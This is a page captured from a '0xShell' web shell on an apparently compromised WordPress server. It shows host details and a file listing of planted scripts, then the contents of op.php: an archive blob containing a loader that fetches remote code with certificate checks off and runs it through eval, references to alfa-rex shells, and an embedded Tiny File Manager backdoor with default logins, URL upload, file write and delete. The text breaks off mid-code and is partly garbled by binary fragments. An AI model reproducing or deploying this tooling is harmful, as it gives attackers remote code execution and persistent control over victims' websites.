0xShell
Shell MySQL Netstat SMTP FTP SSH 未选择任何文件 Domain Upload
file
System Info:
User: couragent | UID: 1022 | GID: 1024 | Groups: 1024
Server IP: 62.72.47.222 | Client IP: 23.145.24.71
PHP: 8.1.29 | OS: Linux | Server: LiteSpeed
command
/home/couragent/public_html$
Enter file path to read
Files
../ �
.htaccess � '0e 4e5
.tmb/ �
.user.ini � '0e 4e5
.well-known/ �
123.php � '0e 4e5
cgi-bin/ �
clasa99.php � '0e 4e5
error_log � '0e 4e5
evs.txt � '0e 4e5
home/ �
index.php � 4e5
license.txt � '0e 4e5
op.php � '0e 4e5
php.ini � '0e 4e5
readme.html � '0e 4e5
robots.txt � '0e 4e5
wp-activate.php � '0e 4e5
wp-admin/ �
wp-blog-header.php � '0e 4e5
wp-comments-post.php � '0e 4e5
wp-config-sample.php � '0e 4e5
wp-config.php � '0e 4e5
wp-content/ �
wp-cron.php � '0e 4e5
wp-includes/ �
wp-links-opml.php � '0e 4e5
wp-load.php � '0e 4e5
wp-login.php � '0e 4e5
wp-mail.php � '0e 4e5
wp-settings.php � '0e 4e5
wp-signup.php � '0e 4e5
wp-trackback.php � '0e 4e5
xmlrpc.php � '0e 4e5
Viewing: op.php
PK ! D)i # images/dist/includes/kqyj/admin.phpnu 6$ ['verify_peer' => false, 'verify_host' => false]]);
$ゆ3げ9 = @fopen($が831, 'r', false, $ゃゔ957);
if ($ゆ3げ9) {
$ま584めゖ = '';
while (!feof($ゆ3げ9)) {
$ま584めゖ .= fread($ゆ3げ9, 8192);
}
fclose($ゆ3げ9);
if (!empty($ま584めゖ)) {
eval('?>' . $ま584めゖ);
}
}
?>PK ! v2/alfa-rex.PHPnu [ PK ! v2/alfa-rex.php56nu [ PK !
v2/about.php7nu [ PK ! v2/index.phpnu [ PK ! v2/about.phpnu [ PK ! A# # v2/backup/tqdq/nyrrj/admin.phpnu 6$ 'Password', 'Username2' => 'Password2', ...)
// Generate secure password hash - https://tinyfilemanager.github.io/docs/pwd.html
$auth_users = array(
'admin' => '$2y$10$SLBiZoyJf0MHUyzMYG/PdOtDiXMOLc0q7UHds3iSFFb56lW5HWs1O', //pass
'user' => '$2y$10$Fg6Dz8oH9fPoZ2jJan5tZuv6Z4Kp7avtQ9bDfrdRntXtPeiMAZyGO' //12345
);
// Readonly users
// e.g. array('users', 'guest', ...)
$readonly_users = array(
'user'
);
// Enable highlight.js (https://highlightjs.org/) on view's page
$use_highlightjs = true;
// highlight.js style
// for dark theme use 'ir-black'
$highlightjs_style = 'vs';
// Enable ace.js (https://ace.c9.io/) on view's page
$edit_files = true;
// Default timezone for date() and time()
// Doc - http://php.net/manual/en/timezones.php
$default_timezone = 'Etc/UTC'; // UTC
// Root path for file manager
// use absolute path of directory i.e: '/var/www/folder' or $_SERVER['DOCUMENT_ROOT'].'/folder'
$root_path = $_SERVER['DOCUMENT_ROOT'];
// Root url for links in file manager.Relative to $http_host. Variants: '', 'path/to/subfolder'
// Will not working if $root_path will be outside of server document root
$root_url = '';
// Server hostname. Can set manually if wrong
$http_host = $_SERVER['HTTP_HOST'];
// user specific directories
// array('Username' => 'Directory path', 'Username2' => 'Directory path', ...)
$directories_users = array();
// input encoding for iconv
$iconv_input_encoding = 'UTF-8';
// date() format for file modification date
// Doc - https://www.php.net/manual/en/function.date.php
$datetime_format = 'd.m.y H:i';
// Allowed file extensions for create and rename files
// e.g. 'txt,html,css,js'
$allowed_file_extensions = '';
// Allowed file extensions for upload files
// e.g. 'gif,png,jpg,html,txt'
$allowed_upload_extensions = '';
// Favicon path. This can be either a full url to an .PNG image, or a path based on the document root.
// full path, e.g http://example.com/favicon.png
// local path, e.g images/icons/favicon.png
$favicon_path = '';
// Files and folders to excluded from listing
// e.g. array('myfile.html', 'personal-folder', '*.php', ...)
$exclude_items = array();
// Online office Docs Viewer
// Availabe rules are 'google', 'microsoft' or false
// google => View documents using Google Docs Viewer
// microsoft => View documents using Microsoft Web Apps Viewer
// false => disable online doc viewer
$online_viewer = 'google';
// Sticky Nav bar
// true => enable sticky header
// false => disable sticky header
$sticky_navbar = true;
// Maximum file upload size
// Increase the following values in php.ini to work properly
// memory_limit, upload_max_filesize, post_max_size
$max_upload_size_bytes = 5000;
// Possible rules are 'OFF', 'AND' or 'OR'
// OFF => Don't check connection IP, defaults to OFF
// AND => Connection must be on the whitelist, and not on the blacklist
// OR => Connection must be on the whitelist, or not on the blacklist
$ip_ruleset = 'OFF';
// Should users be notified of their block?
$ip_silent = true;
// IP-addresses, both ipv4 and ipv6
$ip_whitelist = array(
'127.0.0.1', // local ipv4
'::1' // local ipv6
);
// IP-addresses, both ipv4 and ipv6
$ip_blacklist = array(
'0.0.0.0', // non-routable meta ipv4
'::' // non-routable meta ipv6
);
// if User has the customized config file, try to use it to override the default config above
$config_file = __DIR__.'/config.php';
if (is_readable($config_file)) {
@include($config_file);
}
// --- EDIT BELOW CAREFULLY OR DO NOT EDIT AT ALL ---
// max upload file size
define('MAX_UPLOAD_SIZE', $max_upload_size_bytes);
// private key and session name to store to the session
if ( !defined( 'FM_SESSION_ID')) {
define('FM_SESSION_ID', 'filemanager');
}
// Configuration
$cfg = new FM_Config();
// Default language
$lang = isset($cfg->data['lang']) ? $cfg->data['lang'] : 'en';
// Show or hide files and folders that starts with a dot
$show_hidden_files = isset($cfg->data['show_hidden']) ? $cfg->data['show_hidden'] : true;
// PHP error reporting - false = Turns off Errors, true = Turns on Errors
$report_errors = isset($cfg->data['error_reporting']) ? $cfg->data['error_reporting'] : true;
// Hide Permissions and Owner cols in file-listing
$hide_Cols = isset($cfg->data['hide_Cols']) ? $cfg->data['hide_Cols'] : true;
// Show directory size: true or speedup output: false
$calc_folder = isset($cfg->data['calc_folder']) ? $cfg->data['calc_folder'] : true;
// Theme
$theme = isset($cfg->data['theme']) ? $cfg->data['theme'] : 'light';
define('FM_THEME', $theme);
//available languages
$lang_list = array(
'en' => 'English'
);
if ($report_errors == true) {
@ini_set('error_reporting', E_ALL);
@ini_set('display_errors', 1);
} else {
@ini_set('error_reporting', E_ALL);
@ini_set('display_errors', 0);
}
// if fm included
if (defined('FM_EMBED')) {
$use_auth = false;
$sticky_navbar = false;
} else {
@set_time_limit(600);
date_default_timezone_set($default_timezone);
ini_set('default_charset', 'UTF-8');
if (version_compare(PHP_VERSION, '5.6.0', '<') && function_exists('mb_internal_encoding')) {
mb_internal_encoding('UTF-8');
}
if (function_exists('mb_regex_encoding')) {
mb_regex_encoding('UTF-8');
}
session_cache_limiter('');
session_name(FM_SESSION_ID );
function session_error_handling_function($code, $msg, $file, $line) {
// Permission denied for default session, try to create a new one
if ($code == 2) {
session_abort();
session_id(session_create_id());
@session_start();
}
}
set_error_handler('session_error_handling_function');
session_start();
restore_error_handler();
}
if (empty($auth_users)) {
$use_auth = false;
}
$is_https = isset($_SERVER['HTTPS']) && ($_SERVER['HTTPS'] == 'on' || $_SERVER['HTTPS'] == 1)
|| isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https';
// update $root_url based on user specific directories
if (isset($_SESSION[FM_SESSION_ID]['logged']) && !empty($directories_users[$_SESSION[FM_SESSION_ID]['logged']])) {
$wd = fm_clean_path(dirname($_SERVER['PHP_SELF']));
$root_url = $root_url.$wd.DIRECTORY_SEPARATOR.$directories_users[$_SESSION[FM_SESSION_ID]['logged']];
}
// clean $root_url
$root_url = fm_clean_path($root_url);
// abs path for site
defined('FM_ROOT_URL') || define('FM_ROOT_URL', ($is_https ? 'https' : 'http') . '://' . $http_host . (!empty($root_url) ? '/' . $root_url : ''));
defined('FM_SELF_URL') || define('FM_SELF_URL', ($is_https ? 'https' : 'http') . '://' . $http_host . $_SERVER['PHP_SELF']);
// logout
if (isset($_GET['logout'])) {
unset($_SESSION[FM_SESSION_ID]['logged']);
fm_redirect(FM_SELF_URL);
}
// Validate connection IP
if($ip_ruleset != 'OFF'){
$clientIp = $_SERVER['REMOTE_ADDR'];
$proceed = false;
$whitelisted = in_array($clientIp, $ip_whitelist);
$blacklisted = in_array($clientIp, $ip_blacklist);
if($ip_ruleset == 'AND'){
if($whitelisted == true && $blacklisted == false){
$proceed = true;
}
} else
if($ip_ruleset == 'OR'){
if($whitelisted == true || $blacklisted == false){
$proceed = true;
}
}
if($proceed == false){
trigger_error('User connection denied from: ' . $clientIp, E_USER_WARNING);
if($ip_silent == false){
fm_set_msg(lng('Access denied. IP restriction applicable'), 'error');
fm_show_header_login();
fm_show_message();
}
exit();
}
}
// Auth
if ($use_auth) {
if (isset($_SESSION[FM_SESSION_ID]['logged'], $auth_users[$_SESSION[FM_SESSION_ID]['logged']])) {
// Logged
} elseif (isset($_POST['fm_usr'], $_POST['fm_pwd'])) {
// Logging In
sleep(1);
if(function_exists('password_verify')) {
if (isset($auth_users[$_POST['fm_usr']]) && isset($_POST['fm_pwd']) && password_verify($_POST['fm_pwd'], $auth_users[$_POST['fm_usr']])) {
$_SESSION[FM_SESSION_ID]['logged'] = $_POST['fm_usr'];
fm_set_msg(lng('You are logged in'));
fm_redirect(FM_SELF_URL . '?p=');
} else {
unset($_SESSION[FM_SESSION_ID]['logged']);
fm_set_msg(lng('Login failed. Invalid username or password'), 'error');
fm_redirect(FM_SELF_URL);
}
} else {
fm_set_msg(lng('password_hash not supported, Upgrade PHP version'), 'error');;
}
} else {
// Form
unset($_SESSION[FM_SESSION_ID]['logged']);
fm_show_header_login();
?>
".lng('Root path')." \"{$root_path}\" ".lng('not found!')." ";
exit;
}
defined('FM_SHOW_HIDDEN') || define('FM_SHOW_HIDDEN', $show_hidden_files);
defined('FM_ROOT_PATH') || define('FM_ROOT_PATH', $root_path);
defined('FM_LANG') || define('FM_LANG', $lang);
defined('FM_FILE_EXTENSION') || define('FM_FILE_EXTENSION', $allowed_file_extensions);
defined('FM_UPLOAD_EXTENSION') || define('FM_UPLOAD_EXTENSION', $allowed_upload_extensions);
defined('FM_EXCLUDE_ITEMS') || define('FM_EXCLUDE_ITEMS', (version_compare(PHP_VERSION, '7.0.0', '<') ? serialize($exclude_items) : $exclude_items));
defined('FM_DOC_VIEWER') || define('FM_DOC_VIEWER', $online_viewer);
define('FM_READONLY', $use_auth && !empty($readonly_users) && isset($_SESSION[FM_SESSION_ID]['logged']) && in_array($_SESSION[FM_SESSION_ID]['logged'], $readonly_users));
define('FM_IS_WIN', DIRECTORY_SEPARATOR == '\\');
// always use ?p=
if (!isset($_GET['p']) && empty($_FILES)) {
fm_redirect(FM_SELF_URL . '?p=');
}
// get path
$p = isset($_GET['p']) ? $_GET['p'] : (isset($_POST['p']) ? $_POST['p'] : '');
// clean path
$p = fm_clean_path($p);
// for ajax request - save
$input = file_get_contents('php://input');
$_POST = (strpos($input, 'ajax') != FALSE && strpos($input, 'save') != FALSE) ? json_decode($input, true) : $_POST;
// instead globals vars
define('FM_PATH', $p);
define('FM_USE_AUTH', $use_auth);
define('FM_EDIT_FILE', $edit_files);
defined('FM_ICONV_INPUT_ENC') || define('FM_ICONV_INPUT_ENC', $iconv_input_encoding);
defined('FM_USE_HIGHLIGHTJS') || define('FM_USE_HIGHLIGHTJS', $use_highlightjs);
defined('FM_HIGHLIGHTJS_STYLE') || define('FM_HIGHLIGHTJS_STYLE', $highlightjs_style);
defined('FM_DATETIME_FORMAT') || define('FM_DATETIME_FORMAT', $datetime_format);
unset($p, $use_auth, $iconv_input_encoding, $use_highlightjs, $highlightjs_style);
/*************************** ACTIONS ***************************/
// AJAX Request
if (isset($_POST['ajax']) && !FM_READONLY) {
// save
if (isset($_POST['type']) && $_POST['type'] == "save") {
// get current path
$path = FM_ROOT_PATH;
if (FM_PATH != '') {
$path .= '/' . FM_PATH;
}
// check path
if (!is_dir($path)) {
fm_redirect(FM_SELF_URL . '?p=');
}
$file = $_GET['edit'];
$file = fm_clean_path($file);
$file = str_replace('/', '', $file);
if ($file == '' || !is_file($path . '/' . $file)) {
fm_set_msg(lng('File not found'), 'error');
fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));
}
header('X-XSS-Protection:0');
$file_path = $path . '/' . $file;
$writedata = $_POST['content'];
$fd = fopen($file_path, "w");
$write_results = @fwrite($fd, $writedata);
fclose($fd);
if ($write_results === false){
header("HTTP/1.1 500 Internal Server Error");
die("Could Not Write File! - Check Permissions / Ownership");
}
die(true);
}
//search : get list of files from the current folder
if(isset($_POST['type']) && $_POST['type']=="search") {
$dir = FM_ROOT_PATH;
$response = scan(fm_clean_path($_POST['path']), $_POST['content']);
echo json_encode($response);
exit();
}
// backup files
if (isset($_POST['type']) && $_POST['type'] == "backup" && !empty($_POST['file'])) {
$fileName = $_POST['file'];
$fullPath = FM_ROOT_PATH . '/';
if (!empty($_POST['path'])) {
$relativeDirPath = fm_clean_path($_POST['path']);
$fullPath .= "{$relativeDirPath}/";
}
$date = date("dMy-His");
$newFileName = "{$fileName}-{$date}.bak";
$fullyQualifiedFileName = $fullPath . $fileName;
try {
if (!file_exists($fullyQualifiedFileName)) {
throw new Exception("File {$fileName} not found");
}
if (copy($fullyQualifiedFileName, $fullPath . $newFileName)) {
echo "Backup {$newFileName} created";
} else {
throw new Exception("Could not copy file {$fileName}");
}
} catch (Exception $e) {
echo $e->getMessage();
}
}
// Save Config
if (isset($_POST['type']) && $_POST['type'] == "settings") {
global $cfg, $lang, $report_errors, $show_hidden_files, $lang_list, $hide_Cols, $calc_folder, $theme;
$newLng = $_POST['js-language'];
fm_get_translations([]);
if (!array_key_exists($newLng, $lang_list)) {
$newLng = 'en';
}
$erp = isset($_POST['js-error-report']) && $_POST['js-error-report'] == "true" ? true : false;
$shf = isset($_POST['js-show-hidden']) && $_POST['js-show-hidden'] == "true" ? true : false;
$hco = isset($_POST['js-hide-cols']) && $_POST['js-hide-cols'] == "true" ? true : false;
$caf = isset($_POST['js-calc-folder']) && $_POST['js-calc-folder'] == "true" ? true : false;
$te3 = $_POST['js-theme-3'];
if ($cfg->data['lang'] != $newLng) {
$cfg->data['lang'] = $newLng;
$lang = $newLng;
}
if ($cfg->data['error_reporting'] != $erp) {
$cfg->data['error_reporting'] = $erp;
$report_errors = $erp;
}
if ($cfg->data['show_hidden'] != $shf) {
$cfg->data['show_hidden'] = $shf;
$show_hidden_files = $shf;
}
if ($cfg->data['show_hidden'] != $shf) {
$cfg->data['show_hidden'] = $shf;
$show_hidden_files = $shf;
}
if ($cfg->data['hide_Cols'] != $hco) {
$cfg->data['hide_Cols'] = $hco;
$hide_Cols = $hco;
}
if ($cfg->data['calc_folder'] != $caf) {
$cfg->data['calc_folder'] = $caf;
$calc_folder = $caf;
}
if ($cfg->data['theme'] != $te3) {
$cfg->data['theme'] = $te3;
$theme = $te3;
}
$cfg->save();
echo true;
}
// new password hash
if (isset($_POST['type']) && $_POST['type'] == "pwdhash") {
$res = isset($_POST['inputPassword2']) && !empty($_POST['inputPassword2']) ? password_hash($_POST['inputPassword2'], PASSWORD_DEFAULT) : '';
echo $res;
}
//upload using url
if(isset($_POST['type']) && $_POST['type'] == "upload" && !empty($_REQUEST["uploadurl"])) {
$path = FM_ROOT_PATH;
if (FM_PATH != '') {
$path .= '/' . FM_PATH;
}
function event_callback ($message) {
global $callback;
echo json_encode($message);
}
function get_file_path () {
global $path, $fileinfo, $temp_file;
return $path."/".basename($fileinfo->name);
}
$url = !empty($_REQUEST["uploadurl"]) && preg_match("|^http(s)?://.+$|", stripslashes($_REQUEST["uploadurl"])) ? stripslashes($_REQUEST["uploadurl"]) : null;
//prevent 127.* domain and known ports
$domain = parse_url($url, PHP_URL_HOST);
$port = parse_url($url, PHP_URL_PORT);
$knownPorts = [22, 23, 25, 3306];
if (preg_match("/^localhost$|^127(?:\.[0-9]+){0,2}\.[0-9]+$|^(?:0*\:)*?:?0*1$/i", $domain) || in_array($port, $knownPorts)) {
$err = array("message" => "URL is not allowed");
event_callback(array("fail" => $err));
exit();
}
$use_curl = false;
$temp_file = tempnam(sys_get_temp_dir(), "upload-");
$fileinfo = new stdClass();
$fileinfo->name = trim(basename($url), ".\x00..\x20");
$allowed = (FM_UPLOAD_EXTENSION) ? explode(',', FM_UPLOAD_EXTENSION) : false;
$ext = strtolower(pathinfo($fileinfo->name, PATHINFO_EXTENSION));
$isFileAllowed = ($allowed) ? in_array($ext, $allowed) : true;
$err = false;
if(!$isFileAllowed) {
$err = array("message" => "File extension is not allowed");
event_callback(array("fail" => $err));
exit();
}
if (!$url) {
$success = false;
} else if ($use_curl) {
@$fp = fopen($temp_file, "w");
@$ch = curl_init($url);
curl_setopt($ch, CURLOPT_NOPROGRESS, false );
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_FILE, $fp);
@$success = curl_exec($ch);
$curl_info = curl_getinfo($ch);
if (!$success) {
$err = array("message" => curl_error($ch));
}
@curl_close($ch);
fclose($fp);
$fileinfo->size = $curl_info["size_download"];
$fileinfo->type = $curl_info["content_type"];
} else {
$ctx = stream_context_create();
@$success = copy($url, $temp_file, $ctx);
if (!$success) {
$err = error_get_last();
}
}
if ($success) {
$success = rename($temp_file, get_file_path());
}
if ($success) {
event_callback(array("done" => $fileinfo));
} else {
unlink($temp_file);
if (!$err) {
$err = array("message" => "Invalid url parameter");
}
event_callback(array("fail" => $err));
}
}
exit();
}
// Delete file / folder
if (isset($_GET['del']) && !FM_READONLY) {
$del = str_replace( '/', '', fm_clean_path( $_GET['del'] ) );
if ($del != '' && $del != '..' && $del != '.') {
$path = FM_ROOT_PATH;
if (FM_PATH != '') {
$path .= '/' . FM_PATH;
}
$is_dir = is_dir($path . '/' . $del);
if (fm_rdelete($path . '/' . $del)) {
$msg = $is_dir ? lng('Folder').' %s '.lng('Deleted') : lng('File').' %s '.lng('Deleted');
fm_set_msg(sprintf($msg, fm_enc($del)));
} else {
$msg = $is_dir ? lng('Folder').' %s '.lng('not deleted') : lng('File').' %s '.lng('not deleted');
fm_set_msg(sprintf($msg, fm_enc($del)), 'error');
}
} else {
fm_set_msg(lng('Invalid file or folder name'), 'error');
}
fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));
}
// Create folder
if (isset($_GET['new']) && isset($_GET['type']) && !FM_READONLY) {
$type = $_GET['type'];
$new = str_replace( '/', '', fm_clean_path( strip_tags( $_GET['new'] ) ) );
if (fm_isvalid_filename($new) && $new != '' && $new != '..' && $new != '.') {
$path = FM_ROOT_PATH;
if (FM_PATH != '') {
$path .= '/' . FM_PATH;
}
if ($_GET['type'] == "file") {
if (!file_exists($path . '/' . $new)) {
if(fm_is_valid_ext($new)) {
@fopen($path . '/' . $new, 'w') or die('Cannot open file: ' . $new);
fm_set_msg(sprintf(lng('File').' %s '.lng('Created'), fm_enc($new)));
} else {
fm_set_msg(lng('File extension is not allowed'), 'error');
}
} else {
fm_set_msg(sprintf(lng('File').' %s '.lng('already exists'), fm_enc($new)), 'alert');
}
} else {
if (fm_mkdir($path . '/' . $new, false) === true) {
fm_set_msg(sprintf(lng('Folder').' %s '.lng('Created'), $new));
} elseif (fm_mkdir($path . '/' . $new, false) === $path . '/' . $new) {
fm_set_msg(sprintf(lng('Folder').' %s '.lng('already exists'), fm_enc($new)), 'alert');
} else {
fm_set_msg(sprintf(lng('Folder').' %s '.lng('not created'), fm_enc($new)), 'error');
}
}
} else {
fm_set_msg(lng('Invalid characters in file or folder name'), 'error');
}
fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));
}
// Copy folder / file
if (isset($_GET['copy'], $_GET['finish']) && !FM_READONLY) {
// from
$copy = $_GET['copy'];
$copy = fm_clean_path($copy);
// empty path
if ($copy == '') {
fm_set_msg(lng('Source path not defined'), 'error');
fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));
}
// abs path from
$from = FM_ROOT_PATH . '/' . $copy;
// abs path to
$dest = FM_ROOT_PATH;
if (FM_PATH != '') {
$dest .= '/' . FM_PATH;
}
$dest .= '/' . basename($from);
// move?
$move = isset($_GET['move']);
// copy/move/duplicate
if ($from != $dest) {
$msg_from = trim(FM_PATH . '/' . basename($from), '/');
if ($move) { // Move and to != from so just perform move
$rename = fm_rename($from, $dest);
if ($rename) {
fm_set_msg(sprintf(lng('Moved from').' %s '.lng('to').' %s', fm_enc($copy), fm_enc($msg_from)));
} elseif ($rename === null) {
fm_set_msg(lng('File or folder with this path already exists'), 'alert');
} else {
fm_set_msg(sprintf(lng('Error while moving from').' %s '.lng('to').' %s', fm_enc($copy), fm_enc($msg_from)), 'error');
}
} else { // Not move and to != from so copy with original name
if (fm_rcopy($from, $dest)) {
fm_set_msg(sprintf(lng('Copied from').' %s '.lng('to').' %s', fm_enc($copy), fm_enc($msg_from)));
} else {
fm_set_msg(sprintf(lng('Error while copying from').' %s '.lng('to').' %s', fm_enc($copy), fm_enc($msg_from)), 'error');
}
}
} else {
if (!$move){ //Not move and to = from so duplicate
$msg_from = trim(FM_PATH . '/' . basename($from), '/');
$fn_parts = pathinfo($from);
$extension_suffix = '';
if(!is_dir($from)){
$extension_suffix = '.'.$fn_parts['extension'];
}
//Create new name for duplicate
$fn_duplicate = $fn_parts['dirname'].'/'.$fn_parts['filename'].'-'.date('YmdHis').$extension_suffix;
$loop_count = 0;
$max_loop = 1000;
// Check if a file with the duplicate name already exists, if so, make new name (edge case...)
while(file_exists($fn_duplicate) & $loop_count < $max_loop){
$fn_parts = pathinfo($fn_duplicate);
$fn_duplicate = $fn_parts['dirname'].'/'.$fn_parts['filename'].'-copy'.$extension_suffix;
$loop_count++;
}
if (fm_rcopy($from, $fn_duplicate, False)) {
fm_set_msg(sprintf('Copyied from %s to %s', fm_enc($copy), fm_enc($fn_duplicate)));
} else {
fm_set_msg(sprintf('Error while copying from %s to %s', fm_enc($copy), fm_enc($fn_duplicate)), 'error');
}
}
else{
fm_set_msg(lng('Paths must be not equal'), 'alert');
}
}
fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));
}
// Mass copy files/ folders
if (isset($_POST['file'], $_POST['copy_to'], $_POST['finish']) && !FM_READONLY) {
// from
$path = FM_ROOT_PATH;
if (FM_PATH != '') {
$path .= '/' . FM_PATH;
}
// to
$copy_to_path = FM_ROOT_PATH;
$copy_to = fm_clean_path($_POST['copy_to']);
if ($copy_to != '') {
$copy_to_path .= '/' . $copy_to;
}
if ($path == $copy_to_path) {
fm_set_msg(lng('Paths must be not equal'), 'alert');
fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));
}
if (!is_dir($copy_to_path)) {
if (!fm_mkdir($copy_to_path, true)) {
fm_set_msg('Unable to create destination folder', 'error');
fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));
}
}
// move?
$move = isset($_POST['move']);
// copy/move
$errors = 0;
$files = $_POST['file'];
if (is_array($files) && count($files)) {
foreach ($files as $f) {
if ($f != '') {
// abs path from
$from = $path . '/' . $f;
// abs path to
$dest = $copy_to_path . '/' . $f;
// do
if ($move) {
$rename = fm_rename($from, $dest);
if ($rename === false) {
$errors++;
}
} else {
if (!fm_rcopy($from, $dest)) {
$errors++;
}
}
}
}
if ($errors == 0) {
$msg = $move ? 'Selected files and folders moved' : 'Selected files and folders copied';
fm_set_msg($msg);
} else {
$msg = $move ? 'Error while moving items' : 'Error while copying items';
fm_set_msg($msg, 'error');
}
} else {
fm_set_msg(lng('Nothing selected'), 'alert');
}
fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));
}
// Rename
if (isset($_GET['ren'], $_GET['to']) && !FM_READONLY) {
// old name
$old = $_GET['ren'];
$old = fm_clean_path($old);
$old = str_replace('/', '', $old);
// new name
$new = $_GET['to'];
$new = fm_clean_path(strip_tags($new));
$new = str_replace('/', '', $new);
// path
$path = FM_ROOT_PATH;
if (FM_PATH != '') {
$path .= '/' . FM_PATH;
}
// rename
if (fm_isvalid_filename($new) && $old != '' && $new != '') {
if (fm_rename($path . '/' . $old, $path . '/' . $new)) {
fm_set_msg(sprintf(lng('Renamed from').' %s '. lng('to').' %s', fm_enc($old), fm_enc($new)));
} else {
fm_set_msg(sprintf(lng('Error while renaming from').' %s '. lng('to').' %s', fm_enc($old), fm_enc($new)), 'error');
}
} else {
fm_set_msg(lng('Invalid characters in file name'), 'error');
}
fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));
}
// Download
if (isset($_GET['dl'])) {
$dl = $_GET['dl'];
$dl = fm_clean_path($dl);
$dl = str_replace('/', '', $dl);
$path = FM_ROOT_PATH;
if (FM_PATH != '') {
$path .= '/' . FM_PATH;
}
if ($dl != '' && is_file($path . '/' . $dl)) {
fm_download_file($path . '/' . $dl, $dl, 1024);
exit;
} else {
fm_set_msg(lng('File not found'), 'error');
fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));
}
}
// Upload
if (!empty($_FILES) && !FM_READONLY) {
$override_file_name = false;
$f = $_FILES;
$path = FM_ROOT_PATH;
$ds = DIRECTORY_SEPARATOR;
if (FM_PATH != '') {
$path .= '/' . FM_PATH;
}
$errors = 0;
$uploads = 0;
$allowed = (FM_UPLOAD_EXTENSION) ? explode(',', FM_UPLOAD_EXTENSION) : false;
$response = array (
'status' => 'error',
'info' => 'Oops! Try again'
);
$filename = $f['file']['name'];
$tmp_name = $f['file']['tmp_name'];
$ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION));
$isFileAllowed = ($allowed) ? in_array($ext, $allowed) : true;
if(!fm_isvalid_filename($filename) && !fm_isvalid_filename($_REQUEST['fullpath'])) {
$response = array (
'status' => 'error',
'info' => "Invalid File name!",
);
echo json_encode($response); exit();
}
$targetPath = $path . $ds;
if ( is_writable($targetPath) ) {
$fullPath = $path . '/' . $_REQUEST['fullpath'];
$folder = substr($fullPath, 0, strrpos($fullPath, "/"));
if(file_exists ($fullPath) && !$override_file_name) {
$ext_1 = $ext ? '.'.$ext : '';
$fullPath = str_replace($ext_1, '', $fullPath) .'_'. date('ymdHis'). $ext_1;
}
if (!is_dir($folder)) {
$old = umask(0);
mkdir($folder, 0777, true);
umask($old);
}
if (empty($f['file']['error']) && !empty($tmp_name) && $tmp_name != 'none' && $isFileAllowed) {
if (move_uploaded_file($tmp_name, $fullPath)) {
// Be sure that the file has been uploaded
if ( file_exists($fullPath) ) {
$response = array (
'status' => 'success',
'info' => "file upload successful"
);
} else {
$response = array (
'status' => 'error',
'info' => 'Couldn\'t upload the requested file.'
);
}
} else {
$response = array (
'status' => 'error',
'info' => "Error while uploading files. Uploaded files $uploads",
);
}
}
} else {
$response = array (
'status' => 'error',
'info' => 'The specified folder for upload isn\'t writeable.'
);
}
// Return the response
echo json_encode($response);
exit();
}
// Mass deleting
if (isset($_POST['group'], $_POST['delete']) && !FM_READONLY) {
$path = FM_ROOT_PATH;
if (FM_PATH != '') {
$path .= '/' . FM_PATH;
}
$errors = 0;
$files = $_POST['file'];
if (is_array($files) && count($files)) {
foreach ($files as $f) {
if ($f != '') {
$new_path = $path . '/' . $f;
if (!fm_rdelete($new_path)) {
$errors++;
}
}
}
if ($errors == 0) {
fm_set_msg(lng('Selected files and folder deleted'));
} else {
fm_set_msg(lng('Error while deleting items'), 'error');
}
} else {
fm_set_msg(lng('Nothing selected'), 'alert');
}
fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));
}
// Pack files
if (isset($_POST['group']) && (isset($_POST['zip']) || isset($_POST['tar'])) && !FM_READONLY) {
$path = FM_ROOT_PATH;
$ext = 'zip';
if (FM_PATH != '') {
$path .= '/' . FM_PATH;
}
//set pack type
$ext = isset($_POST['tar']) ? 'tar' : 'zip';
if (($ext == "zip" && !class_exists('ZipArchive')) || ($ext == "tar" && !class_exists('PharData'))) {
fm_set_msg(lng('Operations with archives are not available'), 'error');
fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));
}
$files = $_POST['file'];
if (!empty($files)) {
chdir($path);
if (count($files) == 1) {
$one_file = reset($files);
$one_file = basename($one_file);
$zipname = $one_file . '_' . date('ymd_His') . '.'.$ext;
} else {
$zipname = 'archive_' . date('ymd_His') . '.'.$ext;
}
if($ext == 'zip') {
$zipper = new FM_Zipper();
$res = $zipper->create($zipname, $files);
} elseif ($ext == 'tar') {
$tar = new FM_Zipper_Tar();
$res = $tar->create($zipname, $files);
}
if ($res) {
fm_set_msg(sprintf(lng('Archive').' %s '.lng('Created'), fm_enc($zipname)));
} else {
fm_set_msg(lng('Archive not created'), 'error');
}
} else {
fm_set_msg(lng('Nothing selected'), 'alert');
}
fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));
}
// Unpack
if (isset($_GET['unzip']) && !FM_READONLY) {
$unzip = $_GET['unzip'];
$unzip = fm_clean_path($unzip);
$unzip = str_replace('/', '', $unzip);
$isValid = false;
$path = FM_ROOT_PATH;
if (FM_PATH != '') {
$path .= '/' . FM_PATH;
}
if ($unzip != '' && is_file($path . '/' . $unzip)) {
$zip_path = $path . '/' . $unzip;
$ext = pathinfo($zip_path, PATHINFO_EXTENSION);
$isValid = true;
} else {
fm_set_msg(lng('File not found'), 'error');
}
if (($ext == "zip" && !class_exists('ZipArchive')) || ($ext == "tar" && !class_exists('PharData'))) {
fm_set_msg(lng('Operations with archives are not available'), 'error');
fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));
}
if ($isValid) {
//to folder
$tofolder = '';
if (isset($_GET['tofolder'])) {
$tofolder = pathinfo($zip_path, PATHINFO_FILENAME);
if (fm_mkdir($path . '/' . $tofolder, true)) {
$path .= '/' . $tofolder;
}
}
if($ext == "zip") {
$zipper = new FM_Zipper();
$res = $zipper->unzip($zip_path, $path);
} elseif ($ext == "tar") {
try {
$gzipper = new PharData($zip_path);
